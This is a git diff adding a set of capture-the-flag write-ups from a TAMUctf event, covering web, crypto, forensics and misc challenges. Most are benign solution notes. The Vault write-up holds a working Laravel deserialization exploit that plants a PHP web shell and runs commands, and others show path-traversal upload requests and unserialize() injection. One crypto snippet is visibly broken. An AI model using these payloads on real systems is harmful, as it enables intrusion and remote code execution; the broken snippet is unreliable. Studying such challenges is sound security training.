diff --git a/Abnormal-Ellipse-crypto.md b/Abnormal-Ellipse-crypto.md new file mode 100644 index 0000000..0cc4e63 --- /dev/null +++ b/Abnormal-Ellipse-crypto.md @@ -0,0 +1,2 @@ +# Abnormal Ellipse - crypto + diff --git a/Broken-Website-web.md b/Broken-Website-web.md new file mode 100644 index 0000000..9165abd --- /dev/null +++ b/Broken-Website-web.md @@ -0,0 +1,110 @@ +# Broken Website - web + +## Summary + +The future is quic, this challenge was not. + +## Problem + +`curl -v https://broken-website.tamuctf.cybr.club/` + +``` +* Host broken-website.tamuctf.cybr.club:443 was resolved. +* IPv6: (none) +* IPv4: 54.91.191.64 +* Trying 54.91.191.64:443... +* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen +* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server +* closing connection #0 +curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server +``` + +Every attempt to connect to this site fails and/or times out. + +## Solution + +**Steps to solve:** +- Check some ports +- Check ALL the ports +- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!? +- try port knocking + - with default sequences + - with custom sequences + - consider doing a rain dance +- absolutely NO response from the server, so it HAS to be a network problem + - with 3 persons: + - blame AWS, because there currently is a offcially announced AWS problem between USA and europe + - find out that when connecting via nordvpn there is an answer on port 80 + - rent servers in different parts of the world to check network issue + - blame challenge autor + - blame ctf infrastructure + - complain in support discord + - loop for 3 hours +- ignore this messed up stuff + - go to a concert + - drink some wine +- come back, think about tcp and udp + - vaguely remember some vague reference some month ago when someone mentioned quic + +### Try quic/http3 + +https://curl.se/docs/manpage.html#--http3-only +`curl -v --http3-only https://broken-website.tamuctf.cybr.club/` + +``` +* Host broken-website.tamuctf.cybr.club:443 was resolved. +* IPv6: (none) +* IPv4: 54.91.191.64 +* Trying 54.91.191.64:443... +* SSL Trust Anchors: +* CAfile: /etc/ssl/certs/ca-certificates.crt +* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey +* Server certificate: +* subject: +* start date: Mar 22 07:09:30 2026 GMT +* expire date: Mar 22 19:09:30 2026 GMT +* issuer: CN=Caddy Local Authority - ECC Intermediate +* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 +* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 +* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club" +* OpenSSL verify result: 14 +* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20) +* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK +* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK +* closing connection #0 +curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK +More details here: https://curl.se/docs/sslcerts.html + +curl failed to verify the legitimacy of the server and therefore could not +establish a secure connection to it. To learn more about this situation and +how to fix it, please visit the webpage mentioned above. +``` + +Certificate problem? -> ignore +https://curl.se/docs/manpage.html#--insecure +`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/` + +```html + + + + + + Fancy Website + + + + + + +

Welcome to my website!

+

Here's the flag:

+

gigem{7h3_fu7u23_15_qu1c_64d1f5}

+ + +``` + +## Flag + +`gigem{7h3_fu7u23_15_qu1c_64d1f5}` + diff --git a/Colonel-forensics.md b/Colonel-forensics.md new file mode 100644 index 0000000..759779b --- /dev/null +++ b/Colonel-forensics.md @@ -0,0 +1,37 @@ +# Colonel - forensics +fridgebuyer + +### vol + +vol -f memory.dump linux.bash.Bash +vol -f memory.dump linux.kmsg.Kmsg + +"insmod check_service.ko key_path=validation*" + +### kmsg + +Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect``` + +Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect``` + +A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts. + +### Decode hex to ASCII +swap incorrect indices between keys (Key 1 as a base + and replace its bad positions (9, 21, 31) with the correct chars + from Key 2) + + -> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e + +### Decrypt +IV - 1234567890123456, key - ASCII bytes + +python3 -c " +from Crypto.Cipher import AES +key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e' +iv = b'1234567890123456' +ct = open('flag.enc','rb').read() +print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct)) +" + +**gigem{bl3ss3d_4r3_th3_c010n31_m33k}** \ No newline at end of file diff --git a/Favorite-Sponsor-getting-started.md b/Favorite-Sponsor-getting-started.md new file mode 100644 index 0000000..d85746f --- /dev/null +++ b/Favorite-Sponsor-getting-started.md @@ -0,0 +1,3 @@ +# Favorite Sponsor - getting started + +Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}! \ No newline at end of file diff --git a/Gamer-Returns-misc.md b/Gamer-Returns-misc.md new file mode 100644 index 0000000..0381e09 --- /dev/null +++ b/Gamer-Returns-misc.md @@ -0,0 +1,2 @@ +# Gamer Returns - misc + diff --git a/Goodbye-libc-pwn.md b/Goodbye-libc-pwn.md new file mode 100644 index 0000000..1c1b47e --- /dev/null +++ b/Goodbye-libc-pwn.md @@ -0,0 +1,2 @@ +# Goodbye libc - pwn + diff --git a/Hidden-Log-Factoring-crypto.md b/Hidden-Log-Factoring-crypto.md new file mode 100644 index 0000000..416349a --- /dev/null +++ b/Hidden-Log-Factoring-crypto.md @@ -0,0 +1,150 @@ +# Hidden Log Factoring - crypto + +Den Schnippsel in https://sagecell.sagemath.org/ kopieren: + +``` +# Deine Werte +p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249 +y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994 +g = 11 + +# Erstelle den Restklassenring/Körper +R = Integers(p) +target = R(y) +base = R(g) + +# Nutze die globale discrete_log Funktion mit der Schranke 2^100 +# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm +s = discrete_log(target, base, bounds=(1, 1 << 100)) + +print(f"Gefundenes s: {s}") +``` + +`Gefundenes s: 485391067385099231898174017598` + + +LLM genereated: + +``` + +def decrypt(c, p, q): + n = p * q + # Berechnung der Quadratwurzeln modulo p und q + # Dies ist für p, q ≡ 3 (mod 4) besonders einfach + mp = pow(c, (p + 1) // 4, p) + mq = pow(c, (q + 1) // 4, q) + + # Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1 + def extended_gcd(a, b): + if a == 0: return b, 0, 1 + gcd, x1, y1 = extended_gcd(b % a, a) + return gcd, y1 - (b // a) * x1, x1 + + _, yp, yq = extended_gcd(p, q) + + # Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz) + r1 = (yp * p * mq + yq * q * mp) % n + r2 = n - r1 + r3 = (yp * p * mq - yq * q * mp) % n + r4 = n - r3 + + return [r1, r2, r3, r4] +``` + + +Ehrenlos zusammengevibed: + +``` +from Crypto.Util.number import long_to_bytes, bytes_to_long +from cryptography.hazmat.primitives.kdf.hkdf import HKDF +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.backends import default_backend + +# --- Gegebene Daten einfügen --- +n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831 +e = 65537 +p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249 +g = 11 +A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994 +D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624 +c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496 + +# --- 1. DLP lösen mit Sage --- +print("[*] Löse DLP für s...") +# Erstelle den Restklassenring/Körper +R = Integers(p) +target = R(A) +base = R(g) + +# Nutze die globale discrete_log Funktion mit der Schranke 2^100 +# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm +s = discrete_log(target, base, bounds=(1, 1 << 100)) +print(f"[+] s gefunden: {s}") + +# --- 2. d-Maske berechnen --- +def get_mask(s_val, bit_len): + hkdf = HKDF( + algorithm=hashes.SHA256(), + length=bit_len // 8, + salt=None, + info=b"rsa-d-mask", + backend=default_backend() + ) + return bytes_to_long(hkdf.derive(long_to_bytes(s_val))) + +# Wir nehmen an, dass d etwa so lang wie n ist +mask = get_mask(s, n.bit_length()) +d = int(D ^ mask) +print(f"[+] d={d} berechnet.") + +# --- 3. n faktorisieren (via e und d) --- +# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus +def factor_n_ed(n, e, d): + k = d * e - 1 + g = 2 + while True: + t = k + while t % 2 == 0: + t //= 2 + x = pow(g, t, n) + if x > 1: + y = gcd(x - 1, n) + if y > 1 and y < n: + return int(y), int(n // y) + g = next_prime(g) + +q1, q2 = factor_n_ed(n, e, d) +print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}") + +# Nutze die Faktoren q1 und q2 für die schnelle Berechnung +def general_rabin_decrypt(c, p, q): + # Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4) + # Fp und Fq sind die endlichen Körper + Fp = GF(p) + Fq = GF(q) + + # sqrt() in GF(p) findet alle Wurzeln + roots_p = Fp(c).sqrt(all=True) + roots_q = Fq(c).sqrt(all=True) + + results = [] + for rp in roots_p: + for rq in roots_q: + # Kombiniere alle Paarungen via Chinesischem Restsatz + res = crt([int(rp), int(rq)], [int(p), int(q)]) + results.append(res) + return results + +potential_roots = general_rabin_decrypt(c, q1, q2) + +for r in potential_roots: + # Umwandlung von Integer zu Bytes + try: + flag_candidate = long_to_bytes(int(r)) + print(f"Gefundene Nachricht: {flag_candidate}") + if b"flag" in flag_candidate.lower() or b"{" in flag_candidate: + print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}") + except: + continue + +``` \ No newline at end of file diff --git a/Nucleus-rev.md b/Nucleus-rev.md new file mode 100644 index 0000000..2bc5e72 --- /dev/null +++ b/Nucleus-rev.md @@ -0,0 +1,2 @@ +# Nucleus - rev + diff --git a/POP-Restaurant-web-easy.md b/POP-Restaurant-web-easy.md new file mode 100644 index 0000000..17158c4 --- /dev/null +++ b/POP-Restaurant-web-easy.md @@ -0,0 +1,55 @@ +# POP Restaurant - web - easy + +## Description + +Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application. + +---- + +## General +- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt` + - Therefore name is not predictable - probably RCE needed? + - + +explanation of the attack vector +https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection + + +## Compose + +Place one directory level above the provided challenge folder. + +Launch with `docker compose up --watch`. + +```yaml +services: + web-pop_restaurant: + build: + context: ./challenge # if one level above provided challenge files. + dockerfile: Dockerfile + container_name: web-pop_restaurant + ports: + - "1337:80" + stdin_open: true + tty: true + develop: + watch: + - action: sync + path: ./challenge/challenge + target: /var/www/html + ignore: + - .git/ + - action: sync + path: ./challenge/flag.txt + target: /flag.txt +``` + +## `order.php` + +```php=16 +$order = unserialize(base64_decode($_POST['data'])); +``` + +User controlled input, unsaitized, send to unserialize(). + +Thats bad :( \ No newline at end of file diff --git a/Phantom-forensics.md b/Phantom-forensics.md new file mode 100644 index 0000000..63fa5ff --- /dev/null +++ b/Phantom-forensics.md @@ -0,0 +1,8 @@ +# Phantom - forensics + +- git fsck --unreachable --no-reflogs +- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done + +=== 86f49cf === +**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}** + diff --git a/Quick-Response-misc.md b/Quick-Response-misc.md new file mode 100644 index 0000000..bffdec3 --- /dev/null +++ b/Quick-Response-misc.md @@ -0,0 +1,67 @@ +# Quick Response - misc + +![](https://notes.c3h2.de/pad/uploads/9a90b18f-69a4-48ea-b747-21651fbe0d41.png) + + +fridgebuyer + +- The QR is 29x29 == version 3 +- Each module = 32x32 px +- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right) +- What should be alternated are solid lines (timing strips) +- So the original QR was likely XORed with a Checkerboard pattern +- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this +- But this was applied to entire qr code, not only to the data region +- So need to XOR every module with (row + col) % 2 again. + +### sol + +``` +from PIL import Image +import numpy as np +from pyzbar.pyzbar import decode + +img = Image.open("quick-response.png").convert("RGB") +arr = np.array(img) + +# extract module grid +module_size = 32 +n = 29 +dark = np.array([20, 22, 27]) + +grid = np.zeros((n, n), dtype=int) +for r in range(n): + for c in range(n): + cy = r * module_size + module_size // 2 + cx = c * module_size + module_size // 2 + pixel = arr[cy, cx] + if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100: + grid[r, c] = 1 + +# XOR (i + j) mod 2 = 0 +for r in range(n): + for c in range(n): + grid[r, c] ^= (r + c) % 2 + +# write fixed QR code +scale = 10 +border = 4 +total = (n + 2 * border) * scale +out = Image.new("L", (total, total), 255) +px = out.load() +for r in range(n): + for c in range(n): + if grid[r, c] == 1: + for dy in range(scale): + for dx in range(scale): + px[(c + border) * scale + dx, (r + border) * scale + dy] = 0 + +result = decode(out) +for r in result: + print(r.data.decode()) + +``` + +![](https://notes.c3h2.de/pad/uploads/1251408d-9160-4c39-9e94-e2897518cad9.png) + +**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}** diff --git a/Random-Password-crypto.md b/Random-Password-crypto.md new file mode 100644 index 0000000..e88f282 --- /dev/null +++ b/Random-Password-crypto.md @@ -0,0 +1,38 @@ +# Random Password - crypto + + +``` +def backtrack(idx, sample, fives, sevens, accu, result): + if idx == 5718 and len(result(256)): + result.append(accu) + return + + if len(fives) > 1 and sum(fives) < 5: + fives.append(sample[idx]) + backtrack(idx + 1, sample,fives, sevens, accu, result) + fives.pop() + elif len(sevens) > 1 and sum(sevens) < 17: + sevens.append(sample[idx]) + backtrack(idx + 1, sample,fives, sevens, accu, result) + sevens.pop() + elif len(fives) > 1 and sum(fives) > 5:r + accu.append(fives) + backtrack(idx, sample, [], sevens, accu, result) + accu.pop() + elif len(sevens) > 1 and sum(sevens) > 17: + accu.append(sevens) + backtrack(idx, sample, fives, [], accu, result) + accu.pop() + + fives.append(sample[idx]) + backtrack(idx + 1, sample,fives, sevens, accu, result) + fives.pop() + + sevens.append(sample[idx]) + backtrack(idx + 1, sample,fives, sevens, accu, result) + sevens.pop() + +result = [] +backtrack(0, sample, [], [], [], result) + +``` \ No newline at end of file diff --git a/Short-Term-Fuel-Trim-misc.md b/Short-Term-Fuel-Trim-misc.md new file mode 100644 index 0000000..7ec958b --- /dev/null +++ b/Short-Term-Fuel-Trim-misc.md @@ -0,0 +1,67 @@ +# Short Term Fuel Trim - misc + +The data is a list of _129*1380_ complex numbers +``` +# STFT shape: complex64 (129, 1380) + (0.000000000000000000e+00+0.000000000000000000e+00j) + (0.000000000000000000e+00+0.000000000000000000e+00j) + (-1.484999775886535645e+00+0.000000000000000000e+00j) + (2.873720169067382812e+00+0.000000000000000000e+00j) + (9.447572708129882812e+00+0.000000000000000000e+00j) + (8.104647827148437500e+01+0.000000000000000000e+00j) + (1.316259765625000000e+01+0.000000000000000000e+00j) + (-3.101673889160156250e+02+0.000000000000000000e+00j) + (-4.186026916503906250e+02+0.000000000000000000e+00j) + (-5.818300781250000000e+02+0.000000000000000000e+00j) + (2.119775390625000000e+02+0.000000000000000000e+00j) + (-1.738154602050781250e+02+0.000000000000000000e+00j) + (-2.650747985839843750e+02+0.000000000000000000e+00j) + (-3.873171691894531250e+02+0.000000000000000000e+00j) + (-4.193124389648437500e+02+0.000000000000000000e+00j) + (-1.984837646484375000e+02+0.000000000000000000e+00j) + (-1.092494659423828125e+02+0.000000000000000000e+00j) + +``` +STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform). +The data is actually the STFT of an audio signal. + +Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html), +we performed the inverse transform and reconstructed the audio signal +```python + +with open("numbers.txt", "r") as f: + lines = f.readlines() + +shape = (129, 1380) + +nums = np.array([complex(l.strip()) for l in lines[1:]]) +arr = nums.reshape(*shape) + + +sampling_rate_hz = 44100 + +t, z = istft(arr, fs=sampling_rate_hz) + +from scipy.io import wavfile + +def time_series_to_wav(arr, sample_rate=44100): + #sample_rate = 44100 # Hz — set correctly + #samples = samples.astype(np.float32) + + arr_mean = arr.mean() + arr_ptp = arr.max() - arr.min() + + samples = (arr - arr_mean)*2/arr_ptp + + # Normalize if float in [-1,1], convert to 16-bit: + scaled = (samples * 32767).astype(np.int16) + + wavfile.write("out.wav", sample_rate, scaled) + +time_series_to_wav(z, sample_rate=44100) +``` + +The flag is spoken text, and can be transcribed from the wav file. + + +The flag is `gigem{fft_is_50_0p}` diff --git a/Sun-Temple-rev.md b/Sun-Temple-rev.md new file mode 100644 index 0000000..cf26e6d --- /dev/null +++ b/Sun-Temple-rev.md @@ -0,0 +1,2 @@ +# Sun Temple - rev + diff --git a/Task-Manager-pwn.md b/Task-Manager-pwn.md new file mode 100644 index 0000000..04a2642 --- /dev/null +++ b/Task-Manager-pwn.md @@ -0,0 +1,2 @@ +# Task Manager - pwn + diff --git a/Test-task.md b/Test-task.md new file mode 100644 index 0000000..eb95472 --- /dev/null +++ b/Test-task.md @@ -0,0 +1,16 @@ +# Test task + +## Description + +Test task + +---- + +fuuuuuuuu + +![](https://notes.c3h2.de/pad/uploads/9b3b53b2-4975-44b8-8a54-c6c678a1d699.png) + +asdw + + +passt \ No newline at end of file diff --git a/Time-Capsule-forensics.md b/Time-Capsule-forensics.md new file mode 100644 index 0000000..627d60f --- /dev/null +++ b/Time-Capsule-forensics.md @@ -0,0 +1,33 @@ +# Time Capsule - forensics +fridgebuyer + +- mount the image +- in nostalgia/ ASCII chars can be derived from each file's mtime +- char = minutes * 60 + seconds + +memory_1.jpg 2007-01-01 02:01:43 + +-- 1*60+43 = 103 = 'g' + +``` + +python3 << 'EOF' +import os, datetime + +flag = "" +for i in range(1, 18): + f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}.")) + dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime) + ascii_val = dt.minute * 60 + dt.second + char = chr(ascii_val) + flag += char + print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'") + +print(f"\nFlag: {flag}") +EOF + +``` + +**gigem{byg0n3_3r4}** + + diff --git a/Untitled.md b/Untitled.md new file mode 100644 index 0000000..e69de29 diff --git a/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md b/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md new file mode 100644 index 0000000..421dae9 --- /dev/null +++ b/Untitled_6137f236-0713-490b-aabe-38062ff194ea.md @@ -0,0 +1,3 @@ +Test + +test2 \ No newline at end of file diff --git a/Vault-web.md b/Vault-web.md new file mode 100644 index 0000000..b04de7d --- /dev/null +++ b/Vault-web.md @@ -0,0 +1,300 @@ +# Vault - web + +## entrypoint.sh + + +```shell +... +mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt +... +``` + +Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt` + + +## Compose + +The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging. + +Instead of docker build, start, stop, change code, rebuild, ... just add a compose file. +This example assumes to be one directory level above the provided challenge files: + +```yaml +services: + vault: + build: + context: ./challenge + dockerfile: Dockerfile + ports: + - "9090:80" + container_name: vault + restart: unless-stopped +``` + +## LFI + + +In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload. + +```php=69 +$name = $_FILES['avatar']['full_path']; +$path = "/var/www/storage/app/public/avatars/$name"; +$request->file('avatar')->storeAs('avatars', basename($name), 'public'); + +$user->avatar = $path; +$user->save(); +``` + + +```php=69 +$name = $_FILES['avatar']['full_path']; +``` + +is completely user supplied. +https://www.php.net/manual/en/reserved.variables.files.php + +The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized. + +```php=70 +$path = "/var/www/storage/app/public/avatars/$name"; +``` +No sanitizing here. + + +```php=71 +$request->file('avatar')->storeAs('avatars', basename($name), 'public'); +``` + +The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder. + + +```php=73 +$user->avatar = $path; +$user->save(); +``` + +The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database. + + +So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal. + +When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal. + + +Sadly there is no GUI for the avatar upload. +Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance: + +```php-template=26 +
+

Update Avatar

+
+ @csrf + + + +
+ + @if (session('avatar_error')) +
+
  • {{ session('avatar_error') }}
  • +
    + @endif +
    +``` + +0. Rebuild the challenge +1. upload a legitimate image file, sniff the http request +2. manipulate and resend http request to change the full_path name + +```http +Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd" +``` + +3. read `/etc/passwd` from http://localhost:9090/avatar + + +Further things that might be interesting: +- php Application + - Database + - php sessions + - log files? + - ...? +- system + - environment variables? + + +`/var/www/.env` contains + +``` +APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI= +``` + +-> this should allow for creation and signing of things? +- Voucher +- Cookies +- Sessions +- ??? + +Probably even leading to insecure deserialisation?? + + +Even if the cookie signing itself should not be vulnerable, +there is some custom decryption logic for the vouchers that might be vulnerable. + +`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php` + +```php=37 + $voucher = encrypt([ + 'amount' => $amount, + 'created_by' => $user->uuid, + 'created_at' => Carbon::now() + ]); +``` + +```php=53 + $voucher = decrypt($data['voucher']); +``` + + +https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56 + +> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …). + +The `VouchersController` does not use `$serialize=true`, will this work anyway? + +> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application. +- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) + +It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation? + +Also had severa trouble with the tool, probably user error... + +Guzzle is also available, maybe matching. + +``` +'cipher' => 'AES-256-CBC', +``` + + +After some discussion with copilot, +it explained that there is need for a __descruct() call in combination with some other neccessary. + +There is a guzzle CookieJar Class, that fits! + +Copilot got tired (whatever problem, idk), so gemini created this script, +that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`... + +But ctf was already over :( + + +```php +'; + +$cookie = new SetCookie([ + 'Name' => 'payload', + 'Value' => $payloadStr, + 'Domain' => 'example.com', + 'Path' => '/', + 'Max-Age' => null, + 'Expires' => null, + 'Secure' => false, + 'Discard' => false, + 'HttpOnly' => false, +]); + +// Gadget chain using FileCookieJar +$filename = '/var/www/public/shell.php'; +$jarPayload = new FileCookieJar($filename, true); +$jarPayload->setCookie($cookie); + +$serialized = serialize($jarPayload); + +$iv = random_bytes(16); +$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv); + +$payloadArr = [ + 'iv' => base64_encode($iv), + 'value' => $encrypted, + 'tag' => base64_encode('') +]; + +$voucher = base64_encode(json_encode($payloadArr)); +echo "[+] Generated voucher payload.\n"; + +$jar = new CookieJar(); +$client = new Client([ + 'base_uri' => $baseUri, + 'cookies' => $jar, + 'http_errors' => false +]); + +echo "[+] Fetching CSRF token...\n"; +$res = $client->get('/register'); +$html = (string) $res->getBody(); +preg_match('/post('/register', [ + 'form_params' => [ + '_token' => $csrfToken, + 'username' => $username, + 'password' => $password, + 'password2' => $password + ] +]); + +echo "[+] Logging in...\n"; +$res = $client->post('/login', [ + 'form_params' => [ + '_token' => $csrfToken, + 'username' => $username, + 'password' => $password + ] +]); + +echo "[+] Fetching new CSRF token for voucher redemption...\n"; +$res = $client->get('/vouchers'); +$html = (string) $res->getBody(); +preg_match('/post('/vouchers/redeem', [ + 'form_params' => [ + '_token' => $csrfToken, + 'voucher' => $voucher + ] +]); +echo "[+] Status from redeem: " . $res->getStatusCode() . "\n"; + +echo "[+] Triggering payload at /shell.php...\n"; +$res = $client->get('/shell.php', [ + 'query' => [ + '1' => 'ls / > /tmp/ls.txt' + ] +]); + +echo "[+] Trigger response: " . $res->getStatusCode() . "\n"; +echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n"; + +``` diff --git a/War-Hymn-rev.md b/War-Hymn-rev.md new file mode 100644 index 0000000..24ca430 --- /dev/null +++ b/War-Hymn-rev.md @@ -0,0 +1,2 @@ +# War Hymn - rev + diff --git a/bad-apple-web.md b/bad-apple-web.md new file mode 100644 index 0000000..5d67309 --- /dev/null +++ b/bad-apple-web.md @@ -0,0 +1,232 @@ +# bad-apple - web + + + +## Information +``` +-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile +-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf +-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py* +``` + + +We can control user_id and filename on all routes. + +On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html). + +Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]` + +## Notables +The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144). +This looks like its later passed to the `extract_frames` function which uses it to construct a command: +```python +def extract_frames(input_path, output_dir, gif_name): + +# ... + + cmd = [ + 'ffmpeg', '-i', input_path, + '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen', + '-y', f'{output_dir}/palette.png' + ] + subprocess.run(cmd, capture_output=True) +``` + +This should grant code execution IF we can get a malicious filename past this check in line 145: +```python +if not os.path.exists(input_path): + return "File not found", 404 +``` + +## extract_frames +It uses `subprocess.run` to extract frames via ffmpeg. + +```python + cmd = [ + 'ffmpeg', '-i', input_path, + '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen', + '-y', f'{output_dir}/palette.png' + ] + subprocess.run(cmd, capture_output=True) +``` +## Strategy + +With /uploads we can upload a file to every path we want. + + + +So with /uploads we can upload arbitrary files. +```http= +POST /upload HTTP/1.1 +Host: bad-apple.tamuctf.com +Cookie: user_id=../static/frames/test/{{7*7}} +Content-Length: 190 +Sec-Ch-Ua-Platform: "Linux" +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 +Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" +Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D +Sec-Ch-Ua-Mobile: ?0 +Accept: */* +Origin: https://bad-apple.tamuctf.com +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: cors +Sec-Fetch-Dest: empty +Referer: https://bad-apple.tamuctf.com/ +Accept-Encoding: gzip, deflate, br +Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 +Priority: u=1, i +Connection: keep-alive + +------WebKitFormBoundaryeAEo5u9BrAwBXC9D +Content-Disposition: form-data; name="file"; filename="frame_1.png" +Content-Type: image/png + +test + +------WebKitFormBoundaryeAEo5u9BrAwBXC9D-- +``` +And this gets rendered as one frame in the UI. + + +## convert +```http= +GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1 +Host: 